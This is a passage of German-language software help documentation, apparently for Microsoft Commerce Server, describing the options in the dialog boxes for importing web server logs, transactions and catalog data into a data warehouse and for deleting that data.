Schaltfläche "Protokolldateien" | Klicken Sie hierauf, um das Dialogfeld Webserver-Protokolldateien zu öffnen, wählen Sie in der Liste Webserver-Protokolldateien die Dateien aus, die Sie importieren möchten, und klicken Sie dann auf OK, um zum Dialogfeld Webserverprotokolle importieren zurückzukehren.

Registerkarte "Kriterien importieren"

Die folgende Tabelle enthält die auf der Registerkarte Kriterien importieren des Dialogfelds Webserverprotokolle importieren verfügbaren Optionen und Funktionen.

Funktion | Aktion
Alle Protokolle seit dem letzten Import | Wählen Sie diese Option aus, um nur jene Protokolldateien zu importieren, die seit dem letzten Importvorgang erstellt wurden.
Protokolle nach Datum-/Uhrzeitbereich | Wählen Sie diese Option aus, um nur die zwischen dem/der Startdatum/-uhrzeit und dem/der Enddatum/-uhrzeit erstellten Protokolldateien zu importieren.
Anfangsdatum/-zeit | Geben Sie das Datum und die Uhrzeit ein, mit dem bzw. der der Bereich beginnt, für den Protokolldateien importiert werden sollen. Diese Option ist nur verfügbar, wenn Sie die Option Protokolle nach Datum-/Uhrzeitbereich ausgewählt haben.
Beendigungsdatum/-zeit | Geben Sie das Datum und die Uhrzeit ein, mit dem bzw. der der Bereich endet, für den Protokolldateien importiert werden sollen. Diese Option ist nur verfügbar, wenn Sie die Option Protokolle nach Datum-/Uhrzeitbereich ausgewählt haben.

Registerkarte "Neustartdetails"

Wenn ein Importvorgangsauftrag fehlschlägt oder abgebrochen wird, enthält die Registerkarte Neustartdetails eine Auflistung der Protokolldateien, der Servergruppe, des Status sowie des Sitenamens für den fehlgeschlagenen Import.

Die folgende Tabelle enthält die auf der Registerkarte Neustartdetails des Dialogfelds Webserverprotokolle importieren verfügbaren Optionen und Funktionen.

Funktion | Aktion
Dateiname | Der Namen der Protokollimportdatei.
Servergruppe | Der Name der Servergruppe.
Status Der Status des Protokollimportvorgangs. Es gibt vier mögliche Statuswerte:
  • Ungültige Datei. Die Datei enthält keine gültigen Zugriffe. (Beispielsweise eine leere Datei oder eine Datei, die nur einen Header enthält)
  • Abgeschlossen. Die Protokolldatei wurde erfolgreich importiert.
  • Nicht gestartet. Die Protokolldatei wurde noch nicht importiert.
  • Abgebrochen. Die Protokolldatei wurde nur zum Teil importiert.
Sitename | Der Name des Skripts, dem die Webprotokolldatei zugeordnet ist.
Schaltfläche "Ignorieren" Klicken Sie auf diese Option, um den fehlgeschlagenen Protokollimporttask zu löschen und mit einem neuen Protokollimportvorgang fortzufahren. Bei Wahl dieser Option kann der vorherige Protokollimportjob nicht erneut gestartet werden.

Alle vorherigen Statusmeldungen über unvollständige Protokollimporte werden gelöscht.
Schaltfläche "Fortsetzen" | Klicken Sie auf diese Option, damit der unvollständige Protokollimporttask fortgesetzt werden kann. Bis zum Abschluss dieses Vorgangs kann kein anderer Protokollimport gestartet werden.

Siehe auch

Tipps zur Ausführung des DTS-Webserverprotokollimport-Tasks

Problembehandlung beim Data Warehouse-Importvorgang

Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task

Konfigurieren des DTS-Webserverprotokollimport-Tasks

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Berichte auf Basis von Daten aus Webprotokolldateien

Festlegen der in das Data Warehouse zu importierenden Daten


Dialogfeld "Webserver-Protokolldateien"

In diesem Dialogfeld werden die Protokolldateien aufgeführt, die importiert werden sollen. In der Liste können Sie zum einen die Dateien auswählen, die Sie importieren möchten, und zum anderen die Auswahl von Dateien rückgängig machen, die Sie nicht importieren möchten.

So fügen Sie Dateien zur Liste der zu importierenden Protokolldateien hinzu

  1. Klicken Sie im Dialogfeld Webserverprotokolle auf Abbrechen.
  2. Geben Sie im Dialogfeld Webserverprotokolle importieren auf der Registerkarte Speicherorte der Protokolldateien den Pfad für die zu importierenden Protokolldateien an.

Weitere Anweisungen zum Festlegen der zu importierenden Protokolldateien finden Sie unter Festlegen des Speicherortes einer Protokolldatei für das Data Warehouse.

Siehe auch

Festlegen der in das Data Warehouse zu importierenden Daten

Workflow zum Ausführen von DTS-Tasks


Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Ausgeschlossen"

Mithilfe dieses Dialogfelds können Sie verhindern, dass die folgenden Daten in das Data Warehouse importiert werden:

  • Zugriffe von bestimmten Hosts
  • Anforderungen bestimmter Dateitypen oder Ausdrücke
  • Zugriffe durch Suchmaschinen

Weitere Informationen finden Sie unter Festlegen der Ausschlüsse für Webprotokolldateien.

Die folgende Tabelle enthält die auf der Registerkarte Ausgeschlossen des Dialogfelds Erweiterte Webprotokollimport-Eigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Filterausschlusskriterien Wählen Sie in der Dropdownliste einen Ausschlusstyp aus, um nur diese Art von Ausschluss anzuzeigen. Es stehen folgende Ausschlusstypen zur Verfügung:
  • Hosts
  • Dateitypen
  • Dateiausdrücke
  • Suchmaschinen

Weitere Informationen zu Ausschlusskategorien finden Sie unter Festlegen der Ausschlüsse für Webprotokolldateien.
Standardsuchmaschinenliste für die Ausschlusskriterien einschließen | Wählen Sie diese Option, um die Standardsuchmaschinenliste in das Ausschlusskriterium aufzunehmen.
Ausschlusstyp | Klicken Sie hierauf, um die Ausschlussliste nach dem Ausschlusstyp zu sortieren.
Ausschließen | Klicken Sie hierauf, um die Ausschlussliste nach dem Kriterium für den Ausschlusstyp zu sortieren.
Anwendung | Klicken Sie hierauf, um die Ausschlussliste nach Anwendungen zu sortieren.
Hinzufügen | Klicken Sie hierauf, um das Dialogfeld Ausgeschlossen zu öffnen und einen neuen Ausschluss hinzuzufügen.
Entfernen | Klicken Sie hierauf, um den ausgewählten Ausschluss zu entfernen.
Eigenschaften | Klicken Sie hierauf, um das Dialogfeld Ausgeschlossen zu öffnen, das die Eigenschaften des ausgewählten Ausschlusses anzeigt.

Siehe auch

Festlegen der Ausschlüsse für Webprotokolldateien

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Dialogfeld "Ausgeschlossen"

Mithilfe dieses Dialogfelds können Sie verhindern, dass die folgenden Daten in das Data Warehouse importiert werden:

  • Zugriffe von bestimmten Hosts
  • Anforderungen bestimmter Dateitypen oder Ausdrücke
  • Zugriffe durch Suchmaschinen

Weitere Informationen finden Sie unter Festlegen der Ausschlüsse für Webprotokolldateien.

Die folgende Tabelle enthält die im Dialogfeld Ausgeschlossen verfügbaren Optionen und Funktionen.

Funktion | Aktion
Markieren Sie die Ausschlusskategorie Wählen Sie den hinzuzufügenden Importausschlusstyp in der Dropdownliste aus. Die folgenden Datentypen können ausgeschlossen werden:
  • Hosts
  • Dateitypen
  • Dateiausdrücke
  • Suchmaschinen

Weitere Informationen zu Ausschlusskategorien finden Sie unter Festlegen der Ausschlüsse für Webprotokolldateien.
Name | Geben Sie einen Namen ein, nach dem Commerce Server die Protokolldateien durchsuchen soll. Der Name darf keine Leerzeichen enthalten.
Alle Anwendungen in einer Site | Wählen Sie diese Option aus, um die Daten aller Anwendungen innerhalb einer Site auszuschließen.
Ausgewählte Anwendungen in einer Site | Wählen Sie diese Option aus, um anzugeben, von welchen Anwendungen einer Site die Daten ausgeschlossen werden sollen.
Alle auswählen | Wählen Sie diese Option aus, um die Daten aller aufgeführten Anwendungen auszuschließen.
Auswahl aufheben | Wählen Sie diese Option aus, um die Auswahl aller aufgeführten Anwendungen aufzuheben.

Siehe auch

Festlegen der Ausschlüsse für Webprotokolldateien

Konfigurieren des DTS-Webserverprotokollimport-Tasks

Empfohlene Vorgehensweisen für das Data Warehouse

ETL-Prozess für den DTS-Webserverprotokollimport-Task

Ausführen des DTS-Webserverprotokollimport-Tasks

Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks


Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Rückschlüsse"

Mit diesem Dialogfeld können Sie die Annahmen anpassen, die während des Imports in Bezug auf Benutzer und Besuche vorausgesetzt werden, sodass die Analyseanforderungen Ihrer Organisation bestmöglich erfüllt werden. Commerce Server versucht, Benutzer anhand der Eigenschaften in der Webprotokolldatei zu identifizieren. Die Identifizierung von Benutzern anhand der Benutzer- und Besuchsdaten in der Webprotokolldatei wird als Rückschluss bezeichnet.

Weitere Informationen finden Sie unter Festlegen der Benutzerrückschlüsse für Webprotokolldateien und Festlegen der Besuchsrückschlüsse für Webprotokolldateien.

Die folgende Tabelle enthält die auf der Registerkarte Rückschlüsse des Dialogfelds Erweiterte Webprotokollimport-Eigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Erlaubte Anzahl von Minuten für die Leerlaufzeit, bevor Besuche beendet werden | Geben Sie an, wie viele Minuten Leerlauf verstreichen dürfen, bevor ein Besuch als beendet betrachtet wird. Die Standardzeit beträgt 30 Minuten.
Commerce Server-Identifizierungscookies für Rückschlüsse verwenden | Wählen Sie diese Option aus, um die Identifizierungscookies von Commerce Server zur Unterscheidung einzelner Benutzer zu verwenden.
Verwenden von Benutzernamen für Rückschlüsse | Wählen Sie diese Option aus, um Benutzernamen zur Unterscheidung einzelner Benutzer zu verwenden.
Benutzerdefinierte Cookiebezeichner verwenden | Wählen Sie diese Option aus, um zur Unterscheidung einzelner Benutzer benutzerdefinierte Cookies zu verwenden.
Neuen benutzerdefinierten Cookiebezeichner eingeben | Geben Sie den Bezeichner des benutzerdefinierten Cookies ein, der für Rückschlüsse verwendet werden soll.
Hinzufügen | Klicken Sie hierauf, um den neuen Bezeichner des benutzerdefinierten Cookies zur Rückschlussliste hinzuzufügen.
Entfernen | Klicken Sie hierauf, um die markierte Zeile aus der Rückschlussliste zu entfernen.

Siehe auch

Festlegen der Benutzerrückschlüsse für Webprotokolldateien

Festlegen der Besuchsrückschlüsse für Webprotokolldateien

Genauigkeit für Rückschlüsse

Konfigurieren des DTS-Webserverprotokollimport-Tasks


Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Abfr.-Zeichenfolgen"

Wenn in Ihrer Site Abfragezeichenfolgen verwendet werden, können Sie diese in Protokolldateien erfassen und in das Data Warehouse importieren. Abfragezeichenfolgen sind in einer Site für die Suche sowie zur Ausführung ausführbarer Dateien nützlich. Wenn Sie über eine Liste der in der Site verwendeten Abfragezeichenfolgen verfügen, können Sie die Berichterstellung für den mit diesen Abfragezeichenfolgen verknüpften Inhalt aktivieren. Standardmäßig werden Abfragezeichenfolgen mit dem Uniform Resource Identifier (URI) im Data Warehouse gespeichert.

In diesem Dialogfeld können Sie angeben, dass Sie Abfragezeichenfolgen für Websites importieren möchten, sodass sie mit diesen verbundenen Daten analysiert werden können.

Weitere Informationen finden Sie unter Festlegen der Importeigenschaften von Abfragezeichenfolgen für Webprotokolldateien.

Die folgende Tabelle enthält die auf der Registerkarte Abfr.-Zeichenfolgen des Dialogfelds Erweiterte Webprotokollimport-Eigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Speichern der Abfragezeichenfolge mit URI | Wählen Sie diese Option aus, um die Abfragezeichenfolge mit einem Uniform Ressource Identifier (URI) zu speichern.
Abfragezeichenfolge | Klicken Sie hierauf, um die Liste nach den Namen der Abfragezeichenfolgen zu sortieren.
Anwendung | Klicken Sie hierauf, um die Liste nach den Anwendungsnamen zu sortieren.
Hinzufügen | Klicken Sie hierauf, um das Dialogfeld Abfr.-Zeichenfolgen zu öffnen, in dem Sie eine neue Abfragezeichenfolge hinzufügen können.
Entfernen | Klicken Sie hierauf, um die festgelegte Abfragezeichenfolge zu löschen.
Eigenschaften | Klicken Sie hierauf, um das Dialogfeld Abfr.-Zeichenfolgen zu öffnen, in dem Sie die angegebene Abfragezeichenfolge bearbeiten können.

Siehe auch

Festlegen der Importeigenschaften von Abfragezeichenfolgen für Webprotokolldateien

Konfigurieren des DTS-Webserverprotokollimport-Tasks


Dialogfeld "Abfr.-Zeichenfolgen"

Wenn in Ihrer Site Abfragezeichenfolgen verwendet werden, können Sie diese in Protokolldateien erfassen und in das Data Warehouse importieren. Abfragezeichenfolgen sind in einer Site für die Suche sowie zur Ausführung ausführbarer Dateien nützlich. Wenn Sie über eine Liste der in der Site verwendeten Abfragezeichenfolgen verfügen, können Sie die Berichterstellung für den mit diesen Abfragezeichenfolgen verknüpften Inhalt aktivieren. Standardmäßig werden Abfragezeichenfolgen mit dem Uniform Resource Identifier (URI) im Data Warehouse gespeichert.

In diesem Dialogfeld können Sie angeben, dass Sie Abfragezeichenfolgen für Websites importieren möchten, sodass sie mit diesen verbundenen Daten analysiert werden können.

Weitere Informationen finden Sie unter Festlegen der Importeigenschaften von Abfragezeichenfolgen für Webprotokolldateien.

Die folgende Tabelle enthält die im Dialogfeld Abfr.-Zeichenfolgen verfügbaren Optionen und Funktionen.

Funktion | Aktion
Name | Geben Sie einen Namen für die Abfragezeichenfolge ein.
Alle Anwendungen in einer Site | Wählen Sie diese Option aus, um die Abfragezeichenfolge von allen Anwendungen innerhalb einer Site zu importieren.
Ausgewählte Anwendungen in einer Site | Wählen Sie diese Option aus, um anzugeben, für welche Anwendungen einer Site die Abfragezeichenfolge importiert werden soll.
Datentyp auswählen Wählen Sie den Datentyp für die Abfrage in der Dropdownliste aus. Folgende Datentypen stehen zur Auswahl:
  • Zeichenfolge (Standard)
  • Ganze Zahl, Datum/Uhrzeit
  • Real
Mehrwertiger Datentyp | Wählen Sie diese Option aus, um bei der Abfrage einen Datentyp mit mehreren Werten zu verwenden.

Siehe auch

Festlegen der Importeigenschaften von Abfragezeichenfolgen für Webprotokolldateien

Konfigurieren des DTS-Webserverprotokollimport-Tasks


Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Std.-Dateien"

Bei einer Standarddatei, auch als Verzeichnisindexdatei oder Homepage bezeichnet, handelt es sich um die Webseite, auf die Benutzer zunächst gelangen, wenn sie in der Adresszeile des Browsers einen Site-URL eingeben, der keinen bestimmten Dateinamen enthält. So gelangen Benutzer beispielsweise zur Seite www.microsoft/default.htm, wenn sie in das Adressfeld des Browsers entweder www.microsoft.com oder www.microsoft.com/default.htm eingeben. In Webprotokolldateien werden die beiden URLs jedoch als Zugriffe auf zwei verschiedene Seiten gezählt.

Mithilfe dieses Dialogfelds werden präzise Zugriffszahlen für einmalige Benutzer der Standardseite Ihrer Site gewährleistet, wobei auch Umleitungen und mehrere Versionen des URLs berücksichtigt werden.

Weitere Informationen finden Sie unter Festlegen der standardmäßigen Webprotokolldateien.

Hinweise

  • Im Anschluss an die Konfiguration der Standarddateien müssen Sie den DTS-Konfigurationssynchronisations-Task ausführen, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen, bevor Sie Daten in das Data Warehouse importieren. Informationen zur Ausführung des DTS-Konfigurationssynchronisations-Tasks finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  • Für Nicht-IIS-Server lauten die Standardeinstellungen Index.html, Index.htm, und Default.htm. Falls diese Einstellungen für Ihre Site nicht richtig sind, ändern Sie sie, um sicherzustellen, dass die Anzahl der Anforderungen genau erfasst wird.

Die folgende Tabelle enthält die auf der Registerkarte Std.-Dateien des Dialogfelds Erweiterte Webprotokollimport-Eigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Oberstes Verzeichnis von Dateisystempfaden entfernen | Wählen Sie diese Option aus, um die Zeichenfolgen der Dateinamen ohne die Verzeichnisse der obersten Ebene anzuzeigen.
Verzeichnisindexdatei | Geben Sie den Namen der Datei ein, die als Verzeichnisindexdatei verwendet werden soll.
Hinzufügen | Klicken Sie hierauf, um die neue Verzeichnisindexdatei der Liste der Standarddateien hinzuzufügen.
Entfernen | Klicken Sie hierauf, um die ausgewählte Verzeichnisindexdatei aus der Standarddateiliste zu entfernen.

Siehe auch

Festlegen der standardmäßigen Webprotokolldateien

Konfigurieren des DTS-Webserverprotokollimport-Tasks


Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Protokolldat."

In diesem Dialogfeld haben Sie folgende Möglichkeiten:

  • Vermeiden von Redundanzen, die gegebenenfalls auftreten, wenn Protokolldateien zeitlich überlappende Anforderungen enthalten.
  • Vermeiden von Redundanzen oder Datenverlusten, zu denen es kommen kann, wenn bei Servern eine Rotation der Protokolldateien vorgenommen wird, um zu verhindern, dass diese zu groß werden.

Wenn keine Einstellungen für die Zeitüberlappung und die Protokolldateirotation vorgenommen werden, ist der Import von Protokolldateien ohne den Verlust von Aktivitätsdaten in das Data Warehouse nicht möglich, da während des Betriebs der Site ständig Protokolldateien erstellt werden. Dass Dateien Daten für überlappende Zeiträume enthalten, kann vorkommen, wenn Sie Protokolldateien auf separaten Servern ausführen, die Protokollierung auf einem einzelnen Server unterbrechen und fortsetzen, versehentlich eine Protokolldatei erneut importieren oder unterschiedliche Protokolldateien verketten.

Weitere Informationen finden Sie unter Festlegen der Eigenschaften "Überlappen" und "Drehung".

Hinweis

  • Im Anschluss an die Konfiguration dieses Dialogfelds müssen Sie den DTS-Konfigurationssynchronisations-Task ausführen, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen, bevor Sie Daten in das Data Warehouse importieren.

Die folgende Tabelle enthält die auf der Registerkarte Protokolldat. des Dialogfelds Erweiterte Webprotokollimport-Eigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Anzahl der Minuten, die Datensätze überlappen müssen | Geben Sie die Anzahl der Minuten ein, die die Datensätze in den Protokolldateien überlappen müssen. Die Standardzeit beträgt 30 Minuten.
Wenn Überlappung festgestellt wird Wählen Sie die Aktion aus, die ausgeführt werden soll, falls die Protokolldateien eine größere zeitliche Überlappung (in Minuten) aufweisen, als festgelegt wurde:
  • Alle Datensätze importieren. Importiert alle Anforderungen, einschließlich der sich überlappenden Anforderungen.
  • Import beenden. Verhindert den Import der gesamten Protokolldatei, die überlappende Anforderungen enthält. Alle anderen Protokolldateien werden importiert.
  • Alle Importe beenden. Hält alle Importe an, wenn sich überlappende Anforderungen erkannt werden.
  • Datensätze verwerfen und Vorgang fortsetzen (Standardeinstellung). Alle sich überlappenden Anforderungen werden verworfen. Nur die verbleibenden Anforderungen werden importiert.
Nach Abschluss des Imports Legen Sie fest, was am Ende des Importprozesses mit den offenen Besuchen geschehen soll:
  • Offene Besuche für den nächsten Import speichern (Standardeinstellung). Rekonstruiert den aktuellen Besuch, als ob es sich um eine einzige, nahtlose Protokolldatei handelte. Diese Option ist etwas zeitaufwändiger, da die offenen Besuche bei jedem neuen Import aus dem Cache aufgerufen werden müssen. Die Option funktioniert nur fehlerfrei, wenn Sie die Protokolldateien in chronologischer Reihenfolge importieren.
  • Commit offener Besuche in die Datenbank ausführen. Beim Öffnen und Schließen der Protokolldatei ist der Besuchszähler höher, da Besuche, die sich über diese beiden Zeitspannen erstrecken, doppelt gezählt werden.
  • Offene Besuche verwerfen. Der Berichtszähler ist beim Schließen der Protokolldatei niedriger, da noch offene Besuche verworfen werden.
Cache löschen | Klicken Sie hierauf, um den Cache mit den gespeicherten Daten zu leeren.

Siehe auch

Festlegen der Eigenschaften "Überlappen" und "Drehung"

ETL-Prozess für den DTS-Konfigurationssynchronisations-Task


Erweiterte Webprotokollimport-Eigenschaften, Registerkarte "Erneut starten"

In diesem Dialogfeld können Sie das Verhalten der Option Erneut starten festlegen. Wenn das Data Warehouse eine fehlerhafte Importprotokolldatei erkennt, kann durch die Neustartoption entweder der gesamte Importvorgang unterbrochen oder die fehlerhafte Protokolldatei gelöscht und der Vorgang fortgesetzt werden, nachdem alle Wiederholungsversuche ebenfalls fehlgeschlagen sind.

Weitere Informationen finden Sie unter Festlegen der Eigenschaften für den Neustart des Webprotokollimports und Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks.

Hinweis

  • Im Anschluss an die Konfiguration der Neustarteigenschaften müssen Sie den DTS-Konfigurationssynchronisations-Task ausführen, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen, bevor Sie Daten in das Data Warehouse importieren.

Die folgende Tabelle enthält die auf der Registerkarte Erneut starten des Dialogfelds Erweiterte Webprotokollimport-Eigenschaften verfügbaren Optionen.

Funktion | Aktion
Aktion nach Erreichen der max. Anzahl der Wiederholungen | Wählen Sie die Aktion aus, die Commerce Server ausführen soll, nachdem es die maximale Anzahl der Neustartversuche des Importvorgangs erreicht hat.
Anzahl der Neustartversuche | Geben Sie an, wie oft Commerce Server versuchen soll, einen fehlgeschlagenen Importvorgang neu zu starten.

Wenn Sie wissen möchten, warum der Importvorgang des Webprotokolls angehalten wurde, klicken Sie im Dialogfeld Webserverprotokolle importieren auf die Registerkarte Neustartdetails.

Siehe auch

Festlegen der Eigenschaften für den Neustart des Webprotokollimports

Neustarten, Ignorieren oder Löschen eines fehlgeschlagenen Webserverprotokollimport-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Dialogfeld "Transaktionsimporteigenschaften"

Der DTS-Transaktionsdatenimport-Task importiert Transaktionsdaten, die in der Website erstellt werden, wenn ein Benutzer Artikel zum Warenkorb hinzufügt bzw. daraus entfernt oder einen Einkauf tätigt. Nach dem Datenimport können Sie zur Analyse dieser Daten Berichte ausführen.

Weitere Informationen zum Konfigurieren und Ausführen dieses Tasks finden Sie unter Ausführen des DTS-Transaktionsdatenimport-Tasks.

Die folgende Tabelle enthält die im Dialogfeld Transaktionsimporteigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Die Beschreibung darf maximal 255 Zeichen umfassen.
Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene, wenn Sie Protokolldateien ausschließlich für die angegebene Site importieren möchten. Wählen Sie Data Warehouse-Ebene, um Protokolldateien für alle Sites zu importieren, die mit dem Data Warehouse verknüpft sind.
Sitename | Wählen Sie in der Dropdownliste die Site aus, die die zu importierenden Daten enthält.
Data Warehouse-Name | Wählen Sie in der Dropdownliste das Data Warehouse, das mit den Sites verknüpft ist, die die zu importierenden Daten enthalten.
Inkrementelles Laden | Wählen Sie diese Option aus, um nur neue Transaktionsdaten zu importieren. (Basierend auf einem früher erfolgten Import.)
Vollständiges Laden | Wählen Sie diese Option aus, um alle Transaktionsdaten zu importieren.
Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.

Siehe auch

Ausführen des DTS-Transaktionsdatenimport-Tasks

ETL-Prozess für den DTS-Transaktionsdatenimport-Task

Erstellen eines Skripts für den DTS-Transaktionsdatenimport-Task

Empfohlene Vorgehensweisen für das Data Warehouse

Festlegen der in das Data Warehouse zu importierenden Daten

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Dialogfeld "Katalogimporteigenschaften"

Mit dem DTS-Produktkatalogimport-Task werden Produktdaten aus Ihrer/Ihren Katalogdatenbank(en) importiert. Durch den Import von Produktdaten können Sie Transaktionsberichten Produktinformationen hinzufügen, die aussagekräftiger sind als die in den Transaktionsdaten enthaltenen. Sie können auch Berichte ausführen, um die Produktverkäufe zu analysieren.

Weitere Informationen zum Konfigurieren und Ausführen dieses Tasks finden Sie unter Ausführen des DTS-Produktkatalogimport-Tasks.

Hinweis

  • Informationen zum Importieren von Daten für virtuelle Kataloge finden Sie unter Importieren von Daten für virtuelle Kataloge.
  • Wenn Sie zum Importieren von Katalogdaten von allen mit dem Data Warehouse verknüpften Sites einen Vorgang auf Data Warehouse-Ebene ausführen und dabei mindestens zwei Sites gleichnamige Kataloge und Produkte aufweisen, verarbeitet der DTS-Produktkatalogimport-Task die Kataloge unter der Voraussetzung, dass sie über dieselben Eigenschaften verfügen. Wenn die Kataloge nicht dieselben Eigenschaften besitzen, müssen Sie einen Vorgang auf Siteebene ausführen.

Die folgende Tabelle enthält die im Dialogfeld Katalogimporteigenschaften verfügbaren Optionen und Funktionen.

Funktion | Aktion
Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Die Beschreibung darf maximal 255 Zeichen umfassen.
Vorgangsebene | Wählen Sie in der Dropdownliste Siteebene, um Katalogdaten ausschließlich für die angegebene Site zu importieren. Wählen Sie Data Warehouse-Ebene, um Katalogdaten für alle Sites zu importieren, die mit dem Data Warehouse verknüpft sind.
Sitename | Diese Option wird angezeigt, wenn Sie einen Vorgang auf Siteebene ausführen. Wählen Sie in der Dropdownliste die Site aus, die die zu importierenden Katalogdaten enthält.
Data Warehouse-Name | Diese Option wird angezeigt, wenn Sie einen Vorgang auf Data Warehouse-Ebene ausführen. Wählen Sie in der Dropdownliste das Data Warehouse, das mit den Sites verknüpft ist, für die Sie Katalogdaten importieren möchten.
Inkrementelles Laden | Wählen Sie diese Option, wenn Sie nur die neuen Katalogdaten importieren möchten, die seit dem letzten Importvorgang generiert wurden.
Vollständiges Laden | Wählen Sie diese Option aus, um alle Katalogdaten der Protokolldatei zu importieren.
Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.

Siehe auch

Importieren von Daten für virtuelle Kataloge

Ausführen des DTS-Produktkatalogimport-Tasks

ETL-Prozess für den DTS-Produktkatalogimport-Task

Erstellen eines Skripts für den DTS-Produktkatalogimport-Task

Empfohlene Vorgehensweisen für das Data Warehouse

Festlegen der in das Data Warehouse zu importierenden Daten

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Dialogfeld "Task löschen"

Durch den DTS-Datenlöschungstask werden Daten aus dem Data Warehouse gelöscht. Sie können bei Bedarf Detaildaten einer Protokolldatei für eine bestimmte Site oder für alle mit dem Data Warehouse verknüpften Sites löschen.

Darüber hinaus haben Sie die Möglichkeit, Daten der Protokolldatei zu löschen, um die Größe des Data Warehouse zu reduzieren. Alternativ können Sie alle Daten aus dem Data Warehouse löschen, wenn Sie beispielsweise Testdaten importiert haben und Sie das Data Warehouse vor dem Import gültiger Dateien leeren möchten.

Weitere Informationen zum Konfigurieren und Ausführen dieses Tasks finden Sie unter Ausführen des DTS-Datenlöschungstasks.

Die folgende Tabelle enthält die im Dialogfeld Task löschen verfügbaren Optionen und Funktionen.

Feld | Aktion
Beschreibung | Geben Sie eine Beschreibung des Importtasks ein. Die Beschreibung darf maximal 255 Zeichen umfassen.
Vorgangsebene Wählen Sie in der Dropdownliste die Option Siteebene, wenn Sie Webprotokolldateien ausschließlich für die angegebene Site löschen möchten.

Wählen Sie Data Warehouse-Ebene, um Webprotokolldateien für alle Sites zu löschen, die mit dem Data Warehouse verknüpft sind.

Site | Wählen Sie die Site in der Dropdownliste aus, für die die Daten der Webprotokolldatei gelöscht werden sollen.
Data Warehouse-Name | Wählen Sie in der Dropdownliste das Data Warehouse aus, für das Sie die Daten der Webprotokolldatei löschen möchten.
Löschtyp auswählen Wählen Sie in der Dropdownliste den Löschtyp aus:
  • Alle. Löscht alle Daten im Data Warehouse (Detaildaten und Zusammenfassungen). Wählen Sie diese Option, wenn Sie Testdaten importiert haben und das Data Warehouse vor dem Importieren gültiger Daten leeren möchten.
  • Webprotokollimporte. Löscht die Daten der angegebenen Webprotokolldateien. Wählen Sie diese Option, um die Größe des Data Warehouse zu verringern.
Löschebene Wählen Sie Alle Daten, um sowohl die Detaildaten als auch die Zusammenfassungen der ausgewählten Importe von Webprotokolldateien zu löschen.

Wählen Sie Detaildaten, um nur die Detaildaten der ausgewählten Webprotokolldateien zu löschen.
Zu löschende Protokolle Wählen Sie in der Dropdownliste die Protokolldateien aus, die Sie löschen möchten:
  • Bestimmte Webprotokollimporte zum Löschen auswählen. Wählen Sie nach Wahl dieser Option aus den aufgelisteten Webprotokolldateien diejenigen aus, die gelöscht werden sollen.
  • Anzahl der aktuellen Webprotokollimporte erfassen. Legen Sie nach Wahl dieser Option die Anzahl der zu bewahrenden, aktuellen Protokolldateien fest.
  • Webprotokollimporte nach Uhrzeit löschen. Geben Sie nach Wahl dieser Option an, welche Protokolldateien gelöscht werden sollen: die, die älter als einen Tag, eine Woche, einen Monat oder ein Jahr sind.
Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.

Siehe auch

Ausführen des DTS-Datenlöschungstasks

ETL-Prozess für den DTS-Datenlöschungstask

Erstellen eines Skripts für den DTS-Datenlöschungstask

Empfohlene Vorgehensweisen für das Data Warehouse

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Dialogfeld "Eigenschaften der IP-Auflösung"

